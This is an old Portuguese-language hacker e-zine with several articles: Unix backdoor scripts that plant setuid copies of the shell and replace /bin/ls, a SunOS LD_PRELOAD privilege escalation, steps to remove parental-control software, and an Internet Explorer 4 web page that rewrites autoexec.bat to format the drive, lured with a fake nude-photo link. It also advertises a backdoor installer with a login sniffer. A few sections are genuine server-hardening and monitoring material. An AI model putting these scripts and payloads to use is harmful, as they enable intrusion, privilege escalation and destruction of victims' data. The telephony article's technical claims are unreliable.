			---------------[ ls backdoor ]-------------
			#!/bin/sh
			#the blood root (c) 1998, - blood@microsoftz.com
			touch /tmp/ls.shell
			/bin/cp /bin/sh /tmp/ls.shell
			chmod 4755 /tmp/ls.shell
			ls
			---------------[ ls backdoor ]-------------
			Explicacao:
			touch /tmp/ls.shell = Cria o arquivo no /tmp/ls.shell
			/bin/cp /bin/sh /tmp/ls.shell = Copia a shell do 
								  executador para ls.shell
			chmod 4755 /tmp/ls.shell = Atribui RWX para todos os 
							   usuarios do sistema.
			ls = Continua com o comando LiSt do diretorio, como se 
			     nada tivesse acontecido....

			
	ls backdoor fun
	---------------
			
			Agora, eh bem simples veja este scripts e utilize se 
			quiser... ;p

			1. the hunter - Este script simplesmente ira colocar o
			   ls backdoor em todos os diretorios do sistema, precisa
			   ter root no sistema... Eh necessario especificar o
			   caminho para o ls, eu presumi q ele estivesse no 
			   /tmp/ls, mas mude se estiver em outro lugar ;p
			---------------[ The hunter ]-------------
			#!/bin/sh
			if [ `whoami` != root ]; then
			  echo "Precisa ter root para rodar o script"
			  exit 0
			fi
			#se quiser acrescentar mais, veja abaixo:
			echo "Alvos: /usr/, /etc, /home/, /dev, /var"  
			#backdoor no /home
			cd /home
			touch /home/ls
			/bin/cp /tmp/ls /home/ls
			chmod 4755 /home/ls
			echo "/home done"
			#backdoor no /usr
			cd /usr
			touch /usr/ls
			/bin/cp /tmp/ls /usr/ls
			chmod 4755 /usr/ls
			echo "/usr... done
			#backdoor /etc
			cd /etc
			touch /etc/ls
			/bin/cp /tmp/ls /etc/ls
			chmod 4755 /etc/ls
			echo "/etc... done"
			#backdoor /dev
			cd /dev
			touch /dev/ls
			/bin/cp /tmp/ls /dev/ls
			chmod 4755 /dev/ls
			echo "/dev... done"
			#backdoor /var
			cd /var
			touch /var/ls
			/bin/cp /tmp/ls /var/ls
			chmod 4755 /var/ls
			echo "/var... done"
			#done...
			echo "dan0ne..."
			---------------[ The hunter ]-------------
			
			2. The fish - Estah eh para os admins q encontrarem este
			   merdinhas rodando backdoores tao estupidas, e pegar 
			   eles pela gravata... Utilize o sulogin na conta do 
			   lamer e depois execute o script, senao eh a sua shell
			   que vai para o espaco ;)
			---------------[ The fish ]-------------
			#!/bin/sh
			$PATH #especifique O diretorio onde o ls estah rodando
			cd $PATH
			chmod +s ls
			---------------[ The fish ]-------------

			Agora rode este script para pegar o cara quando ele rodar
                  o script:

			----------[ The Funkyeadmin ]-----------
			#!/bin/csh
			#So prara variar ;)
			echo "............"
			sleep 60
			/bin/cp /bin/sh /var/log/lslogshell
			whoami >> /var/log/lslog
			id >> /var/log/lslog
			date >> /var/log/lslog
			telnet localhost 19
			-----------[ The Funkyeadmin ]---------
			
			
			3. The fucker - Estah eh bem malvada, e pega o sistema 
			                todo de vez.... tbm presumi q o ls estava
					    no /tmp/ls
			---------------[ The fucker ]-------------
			#!/bin/sh
			#opa, jah ia colocando /bin/ls
			mv /bin/ls /bin/.sl
			/bin/cp /tmp/ls /bin/ls
			chmod 4755 /bin/ls
			---------------[ The fucker ]-------------
			Entao, voce se pergunta, oq eu fiz? bom, agora qualquer
			pessoa, em qualquer lugar do sistema, quem digitar ls 
			automaticamente, ira executar o ls backdoor, depois disto,
			ele ira executar o verdadeiro ls. PS: como o ls backdoor
			(o primeiro exemplo), utiliza como padrao o comando ls e 
			nao .sl, eh necessario mudar a utlima linha da backdoor,
			para /bin/.sl assim, o script ficara perfeito ;p
			

Pra proxima edicao tem mais unix hack 0.01 >>> 0.01 <<<
New elite numbahz... 0.01

contact:[.blood@phone9.org]|[.bi0tek@phone9.org.]
The Phone9 Communications, Inc

 Ŀ
 6 - SunOS preloaded buggy					                   
 Ŀ  by bi0h4zard  
                                                         ٰ


	Ok.   esta e' bastante antiga, mas ainda funciona em algumas versoes
	da OS. Quando o SunOs , executa um programa, ele faz um checagem nas
	bibliotecas do sistemas, criando varios links temporarios. 
	
	As bibliotecas em ordem de checar:
	- Os simbolos do programa
	- Os simbolos pre-loadados
	- A biblioteca dinamica do usuario
	- A biblioteca default do sistema

	Aqui vai um codigo em C explicando como tirar proveito disto:
	Crie este arquivo ( joe /root/sync.c ) e coloque o 
	seguinte codigo nele:
#--codigo--#	
shit() {
 execl("/bin/sh", "sh", 0);
}
#--codigo--#

Compile-o assim: cc -c -O -R -pic sync.c
Faca a biblioteca: ld -o buglib.so.1.1 -assert pure-text sync.o
Selecione a lista de preloads: setenv LD_PRELOAD ./buglib.so.1.1
Agora faca: su sync

	Quando voce fizer isto, voce automaticamente estara dando um su
	no user sync, agora voce tem uma shell com id=1 e gid=1, use a 
	imaginacao ( PS: Olhe as caracteristicas do user 'bin' e depois
	me conte o resultado ) Tudo fica baseado na sua fake sync, que
	chama a shell, antes que qualquer erro aconteca, ja' que a sync,
	sera executa de um jeito ou de outro.

bi0hazard - 'Yabadabaduhhhhh....'
--------- (c) bi0hazard@phone9.org
 Ŀ
 7 - PCS, Personal Communications Systems                               
 Ŀ  by bloodroot  
                                                         ٰ



	Toda a vida voce ouviu falar sobre PCS? nao! Tambem nao me espanta,
	pois o pessoal do #phreak da brasnet.org nem tem ideia do que seja
	isto ( shame on you guys!!! ;)), a PCS ( Personal Communications
	Systems ) e' o mais novo meio de comunicacao pessoal no mundo, e 
	talvez um dos melhores se assim posso dizer!! chegando ate' a 
	ameacar as entranhas do celular ( bah! Como se um dia existirao
	mais unix do que windows... ;)) Mas os pontos fortes do PCS sao,
	
o E' totalmente digital!
o Permite a conexao de celulares no seu sistema
o Utiliza recursos como telefaz, telemail entre outros.
o Conferencia movel digital
o Nos ultimos 30 meses, teve um crescimento de 15 milhoes de usuarios para
  2000 milhoes.

	Opera nas frequencias de 1850Mhz ate' 2200Mhz, o que permite que a 
	comunica de largas faixas e distancias sejam alcancadas sem nenhum
	problema. Necessitando de somente 7% da banda da qual o sinal sera
	alimentado, o PCS concerteza e' o futuro do celular. Em medidas de
	seguranca o PCS utiliza varios recursos como: 
Obs: E'sim, no NEXTEL (melhor empresa de telefonia movel digital???), tem o
PCS.
	
- radio-frequency fingerprint:

		Um sistema de encriptacao de data/voz transmitida pelo aparelho
		do usuario do PCS, o sistema utiliza uma chave de 128bits,
		semelhante ao Message Digest 5 ( md5 ), esta chave que e'divida
		em 3 partes, para tres pessoas: 
Primeira parte - Digamos que seja uma especie de chave publica do usuario
Segunda parte  - E' a parte da chave que ira encriptar toda a transmissao e
		     outros dados do PCS.
Terceira parte - Chave desencriptadora e chave controladora vinda do tipo de
		     CCC do PCS.

	O esquema fica mais ou menos assim:

	Primeira chave			
		/|\
	    _/   \_
         /       \
       ...      ...
E' a parte da   E' a parte que fornece
chave com a     18bits divididos em rounds
identificacao   de 2. Fazem parte da chave
do usuario,     para encriptar ou decriptar
somente como a  as transmissoes enviadas p/
primeira parte  o PCS.
do codigo para
poder encriptar 
a transmissao 
	

		Segunda chave
		     /|\
		   _/   \_
              /       \
		...      ...
E' a parte que      Tambem serve como um firewall
checa a auten-	  ja' que checa por qualquer falha
tificidade da	  nos bits da encriptacao da trans-
transmissao,	  missao!
mesclando as        A procura de backdoors, como redirecionamento da
duas chaves, 	  do caminho data , entre outras coisas.
( da central e a 
do user ) para 
ver se a encrip-
tacao esta realmen-
te correta 

				Terceira chave
					/|\
			          _/   \_
				   /       \
				 ...      ...
			E' a parte	    Recebe e desencripta todas
			da encriptacao  as fingerprints destinadas
			que e' mais     a ele. Recebendo a verdadeira
			importante,	    fonte do usuario.
			e' a finger
			print da central
			PCS de transmis-
			soes, onde e' 
			criada uma chave
			nova a cada trans-
			missao. 
			
	alem de incluir otimos sistemas anti-fraude como:
	- 0900-sex -> O sistema ira gravar todas as ligacoes 0900, ate' um
	  certo momento, se a conversa for um tanto normal ( how bizare? ),
	  entao eles a apagam depois de dois meses de contas sem nenhuma
	  das tais ligacoes, caso exista uma reclamacao , ele irao tocar a
	  fita para voce e perguntar "Esta concerteza nao e' a sua voz!!!"
	  Caso ligacoes constantes ocorram o servicos 0900 sera deshabilitado
	  daquele celular.
	- 0-xx-xxx-xxx-xxxx -> Ligacoes para outros paises estao estritamente 
	  e automaticamente desligadas ( o que nao permite que o AcidMud, 
	  ligue para a BBS do pessoal da THC ;)), ate' que a pessoa ligue para
	  a central e diga a sua licenca de identidade entre outras 
	  informacoes!
	- RoamEX -> Um novo sistema de trackeamento de celular e PCS pelo 
	  mundo todo, cobrindo todo os paisesque habiltiaram esta funcao,
	  so para lembrar o pais da liberdade ( holanda ), nao assinou este
	  contrato entao nao holanda o anonimato e' total, e a seguranca de 
	  uma safe hack e' perfeita.
     
			
hacking:
---

	Ate' agora, so um meio de se "hackear" com as aspas, e' bem simples, 
	o primeiro e' um tanto primitivo eso ira funcionar caso voce pegue 
	uma empresa de telefonia celular fraca como a NeXTeL, bom voce ira 
	pegar o seu radio amador e ira scanear as frequencias de 1850Mhz a 
	2200Mhz. Esta e' um tanto basica!! huh? Os motivos para que este tipo 
	de ataque nao funcione sao maximos, porque existe um sistema poderoso 
	de encriptacao nos canais, nao deixando com que voce consiga ouvir as 
	falas, fora o barulho junkie da conexao ISDN com a central.

the blood root, Sekurity Netw0rks
reg - (c) 1998, productions
 Ŀ
 8 - Detonando o cyberpatrol                                            
 Ŀ  by franz kafka 
                                                         ٰ

	Cyberpatrol e' uma merda para ser deletado... Eles tem um sistema
	estupido anti-hacker que me deixa nojo.. Yeaki!!! O cyberpatr0l, e'
	um programa instalado no seu computador pelos seus pais, para nao
	deixar que voce veja coisas como imagens de sexo, e qualquer outro 
	assunto que eles considerem perigoso para a sua fragil mente. Agora,
	vamos deletar o cyberpatr0l e depois cair na pornografia de pessoas
	com mais de 18 anos ( stop being such a jackass y0u'r a pedofilist! ;)
	
	Primeiro, entre no computador no modo MS-DOS (aperte F8 quando a 
	maquina estiver inicializando!!!) entre no diretorio do patrol pelo
	DOS e entao digite:
	attrib -r *.* 
	no diretorio do cyberpatrol. E no diretorio do C: (ou primary HD),
	digite: 
	deltree c:\patrol\
	Voce deve primeiro retirar todas as referencias sobre o cyberpatrol
	do seu sistema, registros entre outros documentos. ( Nao deletem os
	arquivo do tipo *.nls posi eles sao do teclado e nao e' muito bom,
	deleta-los dali!!!) 
	Voce ainda nao acabou pois precisa de mais algumas coisas...
	reconfigure o system.386 para bloquear o acesso ao winsock.ini, e 
	agora digite o seguinte comando no diretorio do windows:
	c:\windows\> attrib -h -r ip.exe
	del ip.exe
	attrib -h -r *.ini
	Delete todos os arquivos que estejam sobreo controle do CP ou IP.exe!!
	Os proximos tres comando irao reconfigurar o system.386, no diretorio
	do windows:
	attrib -h -s -r system.386
	copy system.386 c:\windows\system.drv
	copy system.386 .\system\system.drv
	Agora re-inicie a sua maquina... 
	E depois para acessar o controle de acesso ao passw0rd do CP, 
	simplemente edite o registro:
	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\Security.
	E voce ira ver uma chave binaria, nao delete-a ou mude-a a nao ser que
	saiba o que esta fazendo...
	Pronto, no more access denied, Dude!!!

 Ŀ
 9 -  re-escrevendo arquivos de sistema com VBzkr1pt                    
 Ŀ  by bloodroot 
                                                         ٰ

	
	Um codigo em VBzkr1pt, pode alterar qualquer documento dentro do
	HD de uma vitima, que esteja usando o bugado IE 4.0, este script 
	devera ficar no codigo HTML da pagina, podendo rodar o programa
	VBscript Engine 3.x no servidor onde foi colocado a pagina, assim
	quando um lamer clicar entrar em uma pagina qualquer o arquivo 
	descrito no sistema sera alterado...

	Sistemas afetados:
	- Internet Explorer 4.0
	- VBscript Engine 3.x
	
	Description:
	Um script mal-intencionado, pode alterar arquivos do seu HD, por meio
	de uma pagina HTML.
	
	Demontracao do codigo bugado:
  <HTML>
  <HEAD></HEAD>

  <BODY><SCRIPT LANGUAGE="VBSCRIPT">

  Set fs = CreateObject("Scripting.FileSystemObject")
  Set a = fs.CreateTextFile("C:\p9r0x.txt", True)
  a.WriteLine("@echo off")
  a.WriteLine("echo Phone9.0rg, we k0ntr0l tha w3b.")
  a.WriteLine("pause")
  a.WriteLine("@echo on")
  a.Close

  </SCRIPT>
	Agora, o seu arquivo c:\p9r0x.txt foi alterado...
  </BODY></HTML>
	
	Se voce quiser por exemplo: Colcoar um format c: |y no autoexec.bat do
	cara, use este script....

  <BODY><SCRIPT LANGUAGE="VBSCRIPT">

  Set fs = CreateObject("Scripting.FileSystemObject")
  Set a = fs.CreateTextFile("C:\autoexec.bat", True)
  a.WriteLine("@echo off")
  a.WriteLine("echo format c: /y")
  a.WriteLine("pause")
  a.WriteLine("@echo on")
  a.Close

  </SCRIPT>

		Agora coloque bem grande na sua pagina, um link assim:
	"Some quem tem IE 4.0, pode ver as novas fotos da Luana Piovani nua"
			E utiliza a binda da Luana como objeto bugado sexual ;)

	Era isso, agora e' so colocar o codigo na sua pagina e bugar toda a
	negada...
 Ŀ
 10 - Guia de seguranca em servidores WN-1.17                           
 Ŀ  by bloodroot 
                                                         ٰ

	Ultimamente os desenvolvedores do servidor HTTP, WN, tem gastado 
	muitas horas em frente do unix deles, aperfeicoando a  seguranca
	deste infame servidor, que depois do apache e' o segundo melhor.
	Entretanto, isto nao e justificativa para que os administradores
	de um servidor WN, nao apliquem nenhuma flag de seguranca ou po-
	nham nehuma politica de seguranca, porque nao existe nenhuma re-
	lacao direta entre seguranca e funcionalidade, voce pode ter uma
	funcionalidade imensa, mas uma seguranca fraca, assim o  inverso
	entao e' necessario se aplicar algumas tecnicas para tornar o WN
	realmente um pouco mais seguro.

		Entao para que o texto fique mais compreensivel eu vou 
		dividir o texto em ameacas internas e externas. 

  Amecas externas:
	
	O objetivo do administrador e' evitar que hackers obtenham acesso
	nao permitido em seus computadores, atravez do servidor HTTP, pro
	gramas como CGI e scripts, nao podem  ser executados  remotamente 
	sem a autorizacao de algum usuario admitido dentro do  computador
	Se voce nao ira rodar nenhum zkr1pt no seu sistema http, entao  a
	melhor pedida seria roda-lo  com o flag -e  acionado, esta  opcao 
	impede que qualquer tentativa de comandos sejam atribuidos sob  a
	id de qualquer usuario que esteja relacionado sob o funcionamento 
 	do server e nao permite que  usuarios enviados pelo cliente sejam
	armazenados no servidor como arquivos temporarios....  Fora  isto 
	nada fra os logs sao guardados no sistema.

	A politica de seguranca basica do WN e' que nenhuma investida  do
	cliente podera ser aceita pelo servidor, ja' impedindo o abuso de
	certos  comandos enviados pelo  cliente para dentro  do servidor. 
	A permissao para se gravar algo remotamente pelo servidor, devera
	ser concedida pelos comandos de permissoes vindas do  administra-
	dor do sistema. Assim como impede o acesso externo, a  utilizacao 
	de documentos para visualizacao de usuarios e' impossivel, a  nao
	ser que o administrador permita.

Obs: Todas as permissoes dos diretorios do WN, estao dentro de arquivos
     nos diretorios do servidor http, entao e'  necessario  especificar 
     cada uma separadamente... Estes arquivos sao index.cache

  Protegendo os arquivos index.cache:
	
	Todo o controle de seguranca do WN esta baseado nos arquivos 
	index.cache, logo a seguranca destes arquivos no seu sistema
	e' importantissima, as opcoes -t ou -T permitem  especificar 
	um distinto grupo de usuarios que podem ter acesso ao index.
	cache, use as opcoes -t uid# ou  -T gid#,  para  atribuir as
	permissoes, eu nao aconselho que voce coloquem sob a uid  do
	usuario  nobody a permissao  destes arquivos, pois o  uso de
	cgis bugados para atribuir comandos pode ser desatroso  para
	o sistema inteiro, entao a uid0  e gid0 seriam perfeitas  ao 
	meu ver. Uma vez digitado o comando acima, quando se executa
	o comando wn -t, este ira envocar a ultima configuraca do -t
	assim nada saira e nao  entrara a nao ser que o  index.cache
	deixe.

	Agora, toda este  seguranca se  torna inutil se voce  usar a
	flag -u, que permite que os usuarios que possuem algum arqui
	vo no sistema, especificado no index.cache possam ter acesso
	a ele remotamente, assim somente o dono do arquivo ira aces-
	sar os arquivos,  se a opcao  -u e -t forem usadas ao  mesmo
	tempo, entao a opcao -u estara em vigor e  os atributos  sob 
	os usuarios na opcao -t estara isenta no servidor.
	
	Quando o servidor esta sendo exeutado, ele deve presumir que
	todas s permisseos de algum usuario no host. Ese usuario  e'
	determinado quando voce roda o program aem perl  'configure'
	ou definindo o USER_ID no config.h do servidor, seria  otimo
	se o usuario USER_ID, tivesse o minimo de permissoes aceita-
	veis, se possivel criar um novo grupo e servidor seria otimo
	e' claro que este usuario devera ter permissao de leitura p/
	todos os arquivos do servidor, podendo assim mostrar os docu
	mentos solicitados via web. 

	Como padrao, WN nao usa a chamada de sistema chroot para res
	tringir os arquivos que o servidor pode acessar, isso aumen-
	taria a segurnaca a custa do trabalho extra do administrador
	O efeito disso e'evitar que o servidor acesse, ainda que in-
	ternamente, qualquer arquivo restrito que nao esteja  no ar-
	quivo, index.cache. Eu recomendo o trabalho extra pois assim
	o seu patrao pode te dar um salario maior, mas avise-o, pois
	ninguem nota tais mudancas minimas para o surfistas... ;)

  Ameacas internas:
	
	Sempre que usuarios nao-permitidos  tenham contas ativas  no
	sistema, a seguranca estara sempre compromentida. O objetivo
	deste documento e' garantir que ao executar o  WN nao  fique 
	inseguro o seu sistema. Se for possivel , veja se nenhum tem
	acesso de  gravacao em   qualquer arquivo  index.cache do WN
	
	Uma boa regra para segurar o servidor internamente e':
	Considere sempre que todo mundo que tem acesso para gravacao
	no index.cache, tem todas as permissoes sob qual o  servidor
	roda, assim ira poupar, qualquer eventual problema com o WN.
	
	Agora se voce utiliza o servidor  WN para armazenar  paginas
	de outras pessoas, e necessario dar acesso a algumas pessoas
	nos seus devidos diretorios, entao e'necessario rodar  o WN,
	com a opcao -u acionada, a que exige que cada arquivo index.
	cache tenha um unico dono em comum, assim o dono do arquivos
	devera setupar os arquivos index.cache, na medidade que  for
	necessario para o funcionamento do servidor. Isto seria algo
	como chmod u+wx /etc/passwd, assim somente voce tera  acesso
	ao passwd com o atributo de grava-lo , ou tros poderao ve-lo
	mas nao muda-lo. Entao se a opcao -t for usada,  entao a  -u
	sera desativada, assim qualquer arquivo do qual a ui do ser-
	vidor tenha acesso para leitura, execucao e gravacao, podera
	ser executada pelo usuarios que acessam o servidor, se o WN,
	rodar sb a uid 0, entao arquivos como /etc/passwd estarao
	vulneraveis. Por isso o servidor nao permite links  simboli-
	cos de index.cache's para outro index.cache's.
	
	A opcao de comando -e, e eficais caso qualquer  execucao  de
	scripts, ou CGIs seja solicitada... Ja' parando alguns  bugs
	internos e externos.
	
	A utilizacao da opcao -u e -E, aumenta muito a seguranca  do
	servidor, se voce deseja considerar  que qualquer  permissao
	dada pelo ID do usuarios sobre o qual o WN roda, tambem  sao
	concedidas a todos os  usuarios que  podem criar um  arquivo
	index.cache no sistema.
	
  Algumas configuracao de seguranca recomendadas:
	
	Esta e' uma lista consultada por varios membros da phone9 e de outros
	lugares, a fim de informar o seu servidor dos seguintes sistema de 
	seguranca que rodam no sistema, iremos considerar que voce esteja usan
	do o WN ou SWN, na porta 80 (ou no maximo 8080), e que o valor das 
	variaveis USER_ID e GROUP_ID nao tenham sido alteradas no arquivo,
	config.h, isso significa que o wn sera rodado como user r00t, mas ira
	mudar as suas permissoes para o usuario nobody. Da mesma forma que 
	este podera ser inicializado pelo inetd e com os seu privilegios do
	nobody. 

  CGI probidio e somente administrador como usuario confiavel:
	
	Utiliza-se a opcao -t ou -T, opcao -e ou -E e nenhuma outra, alem de
	alterar a linha do config.h #define FORBID_CGI, retirando o comentario
	da sua frente. Metodos POST, nao sao permitidos assim como nenhuma 
	forma de programa que esteja sendo orignado internamente do servidor,
	nao-permitindo nenhum CGI rodando no sistema.
	
  Somente administrador ou grupo confiavel:

	Este e' o nivel de seguranca para rodar CGIs e scripts por meio do 
	servidor, rode-o sob a opcao -t ou -T e nenhuma outra.

  Privilegios de servico de usuarios restritos:
	
	Isto permite que usuarios permitidos dentro do servidor, possam rodar
	suas home-page sem a supervisao do administrador, e' perfeito para 
	servidores que irao armazenar home-pages de outras pessoas no seu 
	dominio (ex. http://www.bloodroot.org/phone9/) Use as opcoes -E e -u.
	Se voce rodar a opcao -u nao rode a opcao -T ou -t. 

  			          -.[ Conclusao ].-
		Use as configuracao aqui dispostas, para tornar o seu servidor
	WN mais seguro, embora o apache seja melhor.... Mas fazer o que?????
	
The bloodroot - [.blood@phone9.org.]
Guia de seguranca em servidores WN
reg(c) 1998, productions

 Ŀ
 11 - backdoor cracker [bc20], tecnicas anais em sistemas linux         
 Ŀ  by bloodroot 
                                                         ٰ

			The blood root's sekure netw0rks
				     presents...

			     The backdoor cracker
			  remote/local backdoor system
			   v2.0 - by bloodroot|bi0tek 

  Recentemente, foi lancado um programa instalador de backdoors, em sistema
  linux e unix-brothers, este se chama .[bc20]. , e foi criado por bloodroot
  bi0tek, o programa codeado em Cshell, instala das mais infames backdoors
  no seu sistema e ainda vem com um sistema de seguranca que ao executado, 
  nao permite que nenhuma das backdoors que o sistema utiliza seja realmente
  utilizada no seu sistema. O bc20, esta divido em dois grandes grupos:
  'backdoor system' e 'sekurity board', cada um explicado abaixo:

backdoor systems:

	E' o conjunto de backdoors que o bc20, instala no seu sistema...  

  .[ls backdoor

	(Veja o artigo no.05 desta edicao da Phone9)
	
  .[rootls backdoor
	
	(Veja o artigo no.05 desta edicao da Phone9)

  .[in.couried backdoor
	
	in.couried e' um daemon comum que roda servicos por meio do inetd, 
	este daemon porem possui um artibuto de permissao de gravacao, auto-
	maticamente especificado pelo programa que voce instalou, entao e' 
	possivel se alterar algumas das suas funcoes para se instalar um 
	sistema de  portas bugadas no seu sistema, ex. inetd backdoor, sobre o
	daemon in.couried

  .[phf.cgi bug
	
   	Exploita remotamente ou internamente o bug o phf.cgi, que vem com 
	algumas versoes do apache web server... veja o artigo no.21 para 
	maiores informacoes sobre o bug...

  .[b2 backdoor
	
	E' um programa em C feito por Dr.sm0g (sm0g@phone9.org), para instalar
	backdoors em praticamente todos os diretorios de um servidor. E' um
	codigo simples mas mesmo assim e' eficais!!!

  .[suidroot backdoor
	
	A preferida de todos nos, copia a shell de um usuario (root) para 
	dentro de um arquivo a sua escolha...

  .[backdoor no inetd

	E outra backdoor que permite que uma porta seja usada somente para
	executar uma shell remotamente, sob a uid do dono do servico da porta,
	ou inetd, e ate mesmo root. 

  .[cron time backdoor
	
	Instala um sistema de backdoors diretamente no sistema cron do root,
	assim voce podera executar a shell do root por meio de um arquivo 
	suid.

  .[novo usuario root
	
	Apenas coloca um usuario com as uid:0 e gid:0!!!
 
  .[finger link backdoor

	E' a famosa backdoor utilizada em um finger, e' bem simples ao dar 
	um finger em um usuario, o arquivo que voce escolher aparece logo apos
	o response do finger
 
  .[.files bug

	Instala um sistema de backdoor em praticamente qualquer arquivo .xxxx,
	que exista em sistema linux e ainda permite a opcao de colocar estas
	backdoors em qualquer arquivo .xxx do sistema

  .[fake login

	Instala um sistema de sniffer no /bin/login logando todos os passwords
	que forem digitados no prompt do login (login:  e password: ) Podendo
	ser configurado para rodar dentro de um unico diretorio ou capturando
	o sistema todo.

  .[testcgi bug

	Exploita a falha de alguns setups de tescgi-cgi existentes, veja o 
	artigo no.22 para maiories informacoes sobre o bug

  .[rhosts bugware

   	Instala backdoors em arquivos .rhosts em pontos estrategicos do seu
	sistema.

  .[Apache webserver fuckware

	Tecnicas de DoS em servidores Apache de todos os sabores e versoes...

  .[/etc/passwd crackware

	Sao pequenas tecnicas de furto de password que podem ser adaptadas no
	/etc/passwd do seu sistema.


		Estas sao as backdoors que o .[bc20]. instala no seu sistema, 
		lembramos que pelo fato de ser um sistema de backdoors, a 
	 	maioria delas so funcionam depois que voce obter root no sistema
		o mesmo pode ser aplicado no sistema de seguranca do .[bc20].


		==[ sekurity board ]==[ bc20 ]==
		    (c) by bloodroot|bi0tek

			O sistema de seguranca do bc20, se aplica a todos os 
			backdoors que o backdoor systems, instala tornando assim
			o .[bc20]. , uma ferramenta de seguranca e de hacking...

  O sistema de seguranca do bc20, funciona para praticamente todas as 
  backdoors que o modo de backdiir installer , instala... Implementando
  tecnicas conhecidas por varios guruz, e hackers, assim o bc20 e' uma
  ferramenta balanciada...


O backdoor cracker v2.02, pode ser baixado nos seguintes enderecos:
--
http://www.phone9.org/html/labs/tools/bc20.zip
http://members.xoom.com/phone9/tools/bc20.zip
http://www.microsoftz.com/phone9/tools/bc20.zip
http://www.puruca.com.br/phone9/tools/bc20.zip
--

	Qualquer reclamacao, duvida ou implementacao de codigo:
	bc20@phone9.org

[O lancamento do bc30... Ja' esta a caminho... aguardem...]

backdoor cracker v2.02 - by  bloodroot|bi0tek
blood@phone9.org|bc20@phone9.org
[P9]												[P9]
 Ŀ
  12 - Apache Web server guard							 
 Ŀ    by bi0tek     
                                                      ٰ

	AWSG, e'  um script CGI, que controla todas as acoes do seu
	servidor apache por meio de um unico CGI, enviando por mail
	qualquer coisa bizarra que aconteca no sistema, alem de ser
	totalmente configuravel, ele e' uma implementacao de um an-
	tigo condigo para o apache 1.1.1 (Geee!! My mum is younger)
	O script que fica rodando em background no servidor, monito
	ra qualquer acesso a arquivos que nao  existem,  diretorios 
	do qual eles nao tem acesso, e qualquer outro documento nao
	permitido ao publico, o AWSG, grava as tntativas e as envia
	para o email do administrador, assim voce pode rodar o  seu
	servidor apache sem que nada realmente  incomum  possa  ser 
	documentado. 

	A AWSG, e'  originalmente um script feito  por fluidz, e eu
 	implementei o codigo conrrigindo alguns bugs existentes  no
	bichinho... 

		  Rode-o em perl (/usr/bin/perl???), e deixe-o 
		  rodando em backdground, junto com o servidor
		  - qualquer problema eventual com o script, 
		    manda um mail para mim (bi0tek@phone9.org)
		
    O codigo ta' abaixo, sao dois arquivos o .htaccess e o awsg.cgi	
			enjoy...
	
---[awsg.cgi]---
#!/usr/bin/perl
#
# Apache Web Server Guardian, v1.0
# by bi0tek|bi0tek@phone9.org
# --
# awsg@phone9.org |Apache Web Server Guardian, email
# --
#
# Thanks to: x1p, CeZinha e flu1dz
#
# 		         ---> phone9.org <---

# Entre o seu email:

	$email = 'bi0tek@phone9.org';

# Entre o endereco da sua pagina principal:

	$main_page = 'http://www.xxx.org/index.html';


# Entre o caminho para o seu programa de mail: (defaul e'o sendmail)

	$mailprog = '/usr/sbin/sendmail';


# Tratamento de erro_1:
$code = "Razao misteriosa." if ($ENV{'QUERY_STRING'} eq '696'); 
$code = "Arquivo perdido..." if ($ENV{'QUERY_STRING'} eq '404');
$code = "Acesso restrito" if ($ENV{'QUERY_STRING'} eq '401');
$code = "Falha ao iniciar script" if ($ENV{'QUERY_STRING'} eq '500');


# Mandando um report por mail, para o admin...
open(MAIL,"|$mailprog -t");
print MAIL "To: $email\n";
print MAIL "From: \@phone9 \@phone9\n";
print MAIL "Subject: Guardian Report [$code]\n";
print MAIL "X-Priority: 1 (Highest)\n\n";
print MAIL "O usuario, foi redirecionado para: $ENV{'REDIRECT_URL'}\n";
print MAIL "A conexao foi originade de: $ENV{'REMOTE_HOST'}.\n\n";
if ($ENV{'HTTP_REFERER'})
	{
	@terms = split(/\//,$ENV{'HTTP_REFERER'});
	print MAIL "O visitante veio de $ENV{'HTTP_REFERER'}. ";
	print MAIL "Contate o admin!!! $terms[0]//$terms[2].\n\n";
	}
else
	{print MAIL "Nenhum log foi reportado sob a seguite pesquisa.\n\n";}
print MAIL "Detalhes a seguir:\n\n";
foreach $key (sort keys %ENV)
	{print MAIL "$key: $ENV{$key}\n";}
close(MAIL);


# Agora a explicacao para o usuario:
print "Content-type: text/html\n\n";
print <<EOM;
<HTML>
<HEAD><TITLE>Apache Web Server Guardian: $code</TITLE></HEAD>
<BODY BGCOLOR="#FFFFFF" LINK="#CE0000" VLINK="#CE0000" ALINK="#FFFFFF">
<H2><TT>$code (Apache Error $ENV{'QUERY_STRING'})</TT></H2>
<BLOCKQUOTE>\n<B>
EOM
if ($ENV{'QUERY_STRING'} eq '401')
	{&explain_401;}
elsif ($ENV{'QUERY_STRING'} eq '404')
	{&explain_404;}
elsif ($ENV{'QUERY_STRING'} eq '500')
	{&explain_500;}
elsif
	{$ENV{'QUERY_STRING'} eq '696')
	{&explain_404;}
else
	{&default;}
print "</B></BLOCKQUOTE>\n</BODY>\n</HTML>\n";


sub explain_401
{
print <<EOM;
O documento que voce solicitou foi protegido por senha. Se voce errou o 
endereo, ou tentou acessa-lo sem as devidas permissoes, mande um mail para
o administrado da rede (abaixo), e tente entrar em um endereco valido para a
sua permissao no sistema.
<A HREF="mailto:$email">Adminsitrador do Sistema</A>.<P>
Caso o contrario, volte para a pagina inicial
<A HREF="$main_page">.:Voltar:.</A>

Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
}


sub explain_404
{
print <<EOM;
O documento que voce procura nao esta no registros, ou nao existe...
Para achar este documento procure nos subdiretorios pre-dispostos na
<A HREF="$mail_page">pagina principal</A> ou mande um mail para o admin<A 
HREF="mailto:$email">administrador da rede</A>.

Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
if ($search_page)
	{
	print "\n<P>Voce pode tbm <A HREF=\"$search_page\">pesquisar.</A>\n";
	print "o site para achar os documentos internamente...\n";
	print "";
	print "Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)"

	}
}



sub explain_500
{
print <<EOM;
O script que voce deseja acessar sofreu algum tipo de erro durante a sua
execucao via http, ou problemas no codigo ou problemas de sistema, podem
ter originado esta falha, por isso e' necesario contactar o administrador
para maiores explicacoes, <A HREF="mailto:$email">administrador</A>
<TT>perl -w $ENV{'REDIRECT_SCRIPT_FILENAME'}</TT>.  Tente mais tarde, pois
o administrador do site ja' foi notificado da falha...

Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
}

sub explain_696 
{
print <<EOM;
A razao pelo qual o script foi solicitada, nao foi entendida pelo servidor
por isso nao foi possivel se especificar qual foi a arbitrariedade que voce
